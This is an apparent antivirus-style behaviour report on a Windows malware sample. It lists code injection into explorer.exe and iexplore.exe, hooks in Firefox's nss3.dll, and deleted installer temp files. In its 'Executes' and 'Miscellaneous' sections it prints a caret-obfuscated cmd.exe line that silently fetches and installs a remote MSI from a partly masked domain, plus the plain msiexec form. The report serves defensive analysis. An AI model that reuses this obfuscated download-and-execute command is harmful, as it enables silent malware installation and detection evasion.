Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://un####slashclub.com/jss/binn.msi /qn
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Modifies file system
Deletes the following files
- %WINDIR%\installer\msid3a1.tmp
Network activity
TCP
HTTP GET requests
- http://un####slashclub.com/jss/binn.msi
UDP
- DNS ASK un####slashclub.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\installer\msid3a1.tmp'
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://un####slashclub.com/jss/binn.msi /qn' (with hidden window)
Executes the following
- '<SYSTEM32>\msiexec.exe' /i http://un####slashclub.com/jss/binn.msi /qn
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\Installer\MSID3A1.tmp"
